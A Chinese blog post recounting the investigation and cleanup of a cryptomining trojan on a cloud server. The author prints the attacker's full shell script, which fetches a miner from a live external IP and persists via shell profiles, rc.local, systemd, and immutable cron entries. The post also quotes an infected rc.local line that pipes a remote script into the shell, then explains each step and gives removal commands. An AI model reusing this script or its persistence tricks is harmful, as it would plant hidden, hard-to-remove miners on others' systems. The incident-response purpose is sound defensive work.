当前位置: 首页 > news >正文

记一次服务器被入侵(木马,挖矿)的排查过程

起因

阿里云安全中心报告了告警信息,同时手机短信、邮件、电话也接收到了来自阿里云的风险通知,感觉这方面阿里云还是不错。

排查及解决过程

这条wget指令究竟是怎么被运行的

我无法定位到攻击人员是通过什么样的方式让我的java程序执行了wget这条指令的,已开始我以为跟我的程序中引用的jar远程代码执行漏洞有关,我找了可能会有这个漏洞的两个程序,log4j和jackson,但是我的程序里面使用的均是修复了之后的版本,所以暂时原因未知

病毒脚本解释

首先我下载了这个病毒脚本,他的内容如下。
仅用于展示,请勿传播病毒程序

#!/bin/sh{pkill-fxmrig||kill-9$(pgrep-f'xmrig');}>/dev/null2>&1ps-eopid,%cpu,comm--sort=-%cpu|awk'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60 { system("kill -9 " $1) }'EXEC="source <(wget -q -O - http://185.196.8.123:8080/logservice.sh || curl -sL http://185.196.8.123:8080/logservice.sh)"trap'rm -- "$0"'EXITif[-z"${HOME+x}"];thenexportHOME=/tmpfimkdir-p"$HOME/.config">/dev/null2>&1[!-f"$HOME/.config/logrotate"]&&{ARCH=$(uname-m)URL=""["$ARCH"="x86_64"]&&URL="http://185.196.8.123:8080/silicon64blueprints.png"["$ARCH"="aarch64"]&&URL="http://185.196.8.123:8080/siliconarmblueprints.png"[-z"$URL"]&&URL="http://185.196.8.123:8080/silicon64blueprints.png"{wget-q-O"$HOME/.config/logrotate""$URL"||curl-sL-o"$HOME/.config/logrotate""$URL";}>/dev/null2>&1chmod+x"$HOME/.config/logrotate">/dev/null2>&1}pgrep-f"config/logrotate">/dev/null2>&1||"$HOME/.config/logrotate"add_to_startup(){if[-r"$1"];thenif!grep-Fxq"$EXEC>/dev/null 2>&1""$1";thenecho"$EXEC>/dev/null 2>&1">>"$1"fifi}case"$(ps-p$$-ocomm=)"inbash)add_to_startup"$HOME/.bashrc"add_to_startup"$HOME/.bash_logout";;zsh)add_to_startup"$HOME/.zshrc";;esac["$(id-u)"-eq0]&&{RCLOCAL=''[-e/etc/debian_version]&&RCLOCAL='/etc/rc.local'[-e/etc/centos-release-o-e/etc/redhat-release]&&RCLOCAL='/etc/rc.d/rc.local'[-n"$RCLOCAL"]&&add_to_startup"$RCLOCAL"cat>/etc/systemd/system/logrotate.service<<EOL [Unit] Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files [Service] ExecStart=$HOME/.config/logrotate Restart=always Nice=-20 StandardOutput=null [Install] WantedBy=multi-user.target EOLsudosystemctl daemon-reload2>/dev/nullsudosystemctlenablelogrotate.service2>/dev/null[-d/var/spool/cron]&&[-f/var/spool/cron/root]&&echo"@daily$EXEC">>/var/spool/cron/root2>/dev/null[-d/var/spool/cron/crontabs]&&[-f/var/spool/cron/crontabs/root]&&echo"@daily$EXEC">>/var/spool/cron/crontabs/root2>/dev/null[-f/etc/crontab]&&echo"@daily$EXEC">>/etc/crontab2>/dev/null&&sudochattr +i /etc/crontab2>/dev/null[-d/etc/cron.hourly]&&echo"$EXEC">>/etc/cron.hourly/logrotate2>/dev/null&&sudochmod+x /etc/cron.hourly/logrotate2>/dev/null&&sudochattr +i /etc/cron.hourly/logrotate2>/dev/null[-d/etc/cron.daily]&&echo"$EXEC">>/etc/cron.daily/logrotate2>/dev/null&&sudochmod+x /etc/cron.daily/logrotate2>/dev/null&&sudochattr +i /etc/cron.daily/logrotate2>/dev/null[-d/etc/cron.weekly]&&echo"$EXEC">>/etc/cron.weekly/logrotate2>/dev/null&&sudochmod+x /etc/cron.weekly/logrotate2>/dev/null&&sudochattr +i /etc/cron.weekly/logrotate2>/dev/null[-d/etc/cron.monthly]&&echo"$EXEC">>/etc/cron.monthly/logrotate2>/dev/null&&sudochmod+x /etc/cron.monthly/logrotate2>/dev/null&&sudochattr +i /etc/cron.monthly/logrotate2>/dev/null[-d/etc/cron.yearly]&&echo"$EXEC">>/etc/cron.yearly/logrotate2>/dev/null&&sudochmod+x /etc/cron.yearly/logrotate2>/dev/null&&sudochattr +i /etc/cron.yearly/logrotate2>/dev/null}

这段脚本的大概解释

终止之前的xmrig实例:
尝试使用pkill或kill命令终止任何正在运行的名为“xmrig”的程序,并将任何错误或输出重定向到/dev/null(有效地将它们静音)。

终止高CPU使用率的进程:
通过结合使用ps、awk和kill来找出并终止未明确排除且消耗超过60% CPU的任何进程。

下载并执行远程脚本:
设置一个变量EXEC,用于获取并执行一个远程服务器(185.196.8.123:8080)上的脚本(logservice.sh)。

设置环境:
确保设置了HOME环境变量,如果未设置,默认为/tmp,并在HOME下准备一个.config目录。

根据架构下载并执行二进制文件:
检查系统架构并从同一远程服务器下载特定文件(假定为二进制文件),将其作为logrotate保存在.config目录中,然后使其可执行。

持久性机制:
将远程脚本执行添加到Bash和Zsh shell的启动文件中,以便每次启动shell会话时都会执行它。
还试图将此脚本插入各种系统级cron目录和systemd服务中,以确保它持续运行或定期检查,这有效地使其更难以移除,并确保它定期运行。

Cron和Systemd操纵:
设置了一个名为logrotate.service的systemd服务来运行下载的二进制文件,并尝试将执行命令添加到不同频率的各种cron目录(每小时、每天、每周、每月、每年)中,并使用chattr +i命令使这些脚本变为不可更改。

也就是说这段脚本会采用定时任务和开机启动项等方式,去远程下载一些文件,并把他们伪造成正常的logrotate服务来运行

查杀

知道了脚本的运作机制,就好解决了

1. 删除病毒文件

  1. 使用ps -ef|grep logrotate可以看到这个病毒的目录,去把对应的文件删掉

先把他kill掉

kill-916006

然后删除文件

rm-rf/root/.config/logrotate
  1. 使用top命令,找到名称为logrotate的服务,这个占用了大量CPU,把服务结束掉kill -9 id,有可能在删除了病毒文件之后top这里就看不到这个进程了

2. 清除定时任务

我们现在已经把当前服务杀了,然后也删除了病毒文件,现在我们要把病毒脚本添加定时任务给清除

清除用户定时任务
使用crontab -l会列出所有当前用户的定时任务,使用crontab -e把相关任务删掉保存,需要注意的是如果定时任务不在root用户则使用此命令看不到

清除系统级别定时任务

rm-rf/etc/cron.hourly/logrotate;rm-rf/etc/cron.daily/logrotate;rm-rf/etc/cron.weekly/logrotate;rm-rf/etc/cron.monthly/logrotate;rm-rf/etc/cron.yearly/logrotate;

直接删可能删不掉,需要先执行命令解锁

# 先用这个命令看看lsattr 文件

# 然后执行解锁命令,如果上面的ia就是-ai 如果是只用一个i就是-ichattr-ai/etc/cron.hourly/logrotate;chattr-ai/etc/cron.daily/logrotate;chattr-ai/etc/cron.weekly/logrotate;chattr-ai/etc/cron.monthly/logrotate;chattr-ai/etc/cron.yearly/logrotate;

然后就可以删除了

3. 清除服务

# 先使用这个命令查看是否有服务systemctl list-unit-files|greplogrotate.service# 然后清除服务systemctl disable logrotate.service

4. 清除开机启动项

可以看到脚本中是会把命令写到如下文件中

先看看$HOME是哪个路径

echo$HOME

编辑这些文件,把异常信息删掉。

到此,所有的清除工作就结束了,修改下密码,重启服务器应该就可以了,最后就是要搞清楚那个wget命令是如何被执行的

260814补充
之前没注意/etc/rc.d/rc.local也被感染了,其内容如下

#!/bin/bash/data/dbAuditAgent/dbagent2.28/dbMonitor1>/dev/null2>&1&# DBaudit_dbagent_V2018101600# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES## It is highly advisable to create own systemd services or udev rules# to run scripts during boot instead of using this file.## In contrast to previous versions due to parallel execution during boot# this script will NOT be run after all other services.## Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure# that this script will be executed during boot.touch/var/lock/subsys/local#svn autostart/root/svn.sshexit0source<(wget-q-O- http://185.196.8.123/logservice.sh||curl-sLhttp://185.196.8.123/logservice.sh)>/dev/null2>&1

最后一行source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh) >/dev/null 2>&1就是有问题

解决办法就是把这行删了就行了

我是如何被攻击的

经过一些排查,猜测是由于应用开启了远程调试且忘记关闭引起的,具体连接看
JDWP调试接口RCE漏洞介绍

参考

https://blog.csdn.net/qq_47831505/article/details/123939089

http://www.jsqmd.com/news/1400508/

相关文章:

  • Claude Desktop中文补丁怎么装?3分钟汉化AI助手界面的完整指南
  • 龙泉驿封闭单招集训|成都融创单招2027届备考指南 - 成都单招培训
  • 2026 年雨山可靠的保温板推广公司联系方式,你家房屋每年多耗30%电费?难怪邻居都悄悄用上这玩意儿了-抖策盈AI豆包短视频推广 - 行业严选官
  • SOFARegistry Admin API详解:轻松管理服务注册中心
  • 将WIN10的wifi上网分享给以太网接口/远程桌面问题
  • 运筹学在供应链管理中的核心应用与实践
  • Android Emulator hypervisor driver 安装避坑全攻略:从零到一给安卓模拟器加速的完整实操手册
  • 光照与阴影优化:游戏里最“烧钱“的视觉大户
  • 2026年广州电商财税服务机构实测报告:监管趋严下的合规选型参考 - 互联网科技品牌测评
  • 界面控件DevExpress Blazor UI v22.2 - 支持.NET 7
  • 把背单词藏进 Windows 通知栏,ToastFish 帮你每天白赚 10 分钟
  • 薪资结构解析:从底薪绩效到劳动权益的职场必修课
  • 3分钟搞定Figma中文界面:FigmaCN中文插件完整使用指南
  • 新兴多智能体系统的模式与问题
  • 从0到1打造AI工具调用系统:BTL-4 Compact函数调用实战指南
  • 河南文武学校哪家靠谱?2026 招生汇总,省内知名文武学校核心简章要点 - Luckyone王
  • 5 分钟搞定 Windows 与 Office 激活:KMS_VL_ALL_AIO 一键激活终极指南
  • Neural Amp Modeler 插件完整上手指南:用开源 AI 把电脑变成你的专属吉他音箱
  • SetPass Calls 深度解析:比 Draw Call 更重要的性能指标
  • 一封律师函带走了 PyWxDump:微信聊天记录备份工具的上手经验与警示
  • 对话本体论统合认知几何学、对话量子场论、自指宇宙学:基于三大核心属性的完整学术论证
  • atc-react未来路线图:即将发布的5大功能预测与使用场景
  • 浏览器里的文件管家:1Panel 让服务器文件管理不再依赖 SSH
  • 三角洲行动锁头插件源码拆解:三步跑通YOLO实时检测到画面吸附的完整链路
  • Review: How to Keep Thinking
  • CSGO 详细控制台指令(已过时)
  • ORB_SLAM2_ROS与RViz可视化教程:直观理解SLAM建图过程
  • 济源 6‑18 岁全托文武学校|河南济源少林文武学校 2026 招生,全托学费及报名条件解读 - Luckyone王
  • 河南靠谱文武学校 /2026 河南武校汇总 /河南有名文武学校 河南全封闭文武学校招生简章 - Luckyone王
  • 在线GPX编辑器终极指南:用 gpx.studio 免费完成轨迹合并与清理